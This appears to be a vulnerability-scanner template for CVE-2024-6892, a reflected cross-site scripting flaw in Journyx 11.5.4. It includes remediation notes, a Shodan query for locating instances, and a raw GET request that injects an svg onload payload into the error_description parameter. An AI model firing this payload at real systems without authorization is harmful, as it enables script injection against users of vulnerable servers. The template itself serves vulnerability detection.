id: CVE-2024-6892

info:
  name: Journyx 11.5.4 - Reflected Cross Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    Attackers can craft a malicious link that once clicked will execute arbitrary JavaScript in the context of the Journyx web application.
  impact: |
    Attackers can craft malicious URLs with XSS payloads in the error_description parameter to execute arbitrary JavaScript when victims click the link.
  remediation: |
    Update Journyx to version 11.5.5 or later to address the reflected XSS vulnerability.
  reference:
    - https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt
    - http://seclists.org/fulldisclosure/2024/Aug/7
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-6892
    cwe-id: CWE-81,CWE-79
    epss-score: 0.07512
    epss-percentile: 0.91898
    cpe: cpe:2.3:a:journyx:journyx:11.5.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: journyx
    product: journyx
    shodan-query: html:"Journyx"
  tags: cve,cve2024,xss,journyx,seclists,vuln

http:
  - raw:
      - |
        GET /jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27document.domain%27)%3E&error=error HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<P>error <B><svg/onload=prompt('document.domain')></B></P>"
          - "journyx"
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4b0a00483046022100a1d5fa004a817e4e49e67ffbd1914d49200b047eec6eba3fc9d6e5223278e4eb022100f87d56bd799c4f19283c84d7f1757f1d3bc62421cd80af30430b0fd9c8ab3fd8:922c64590222798bb761d5b6d8e72950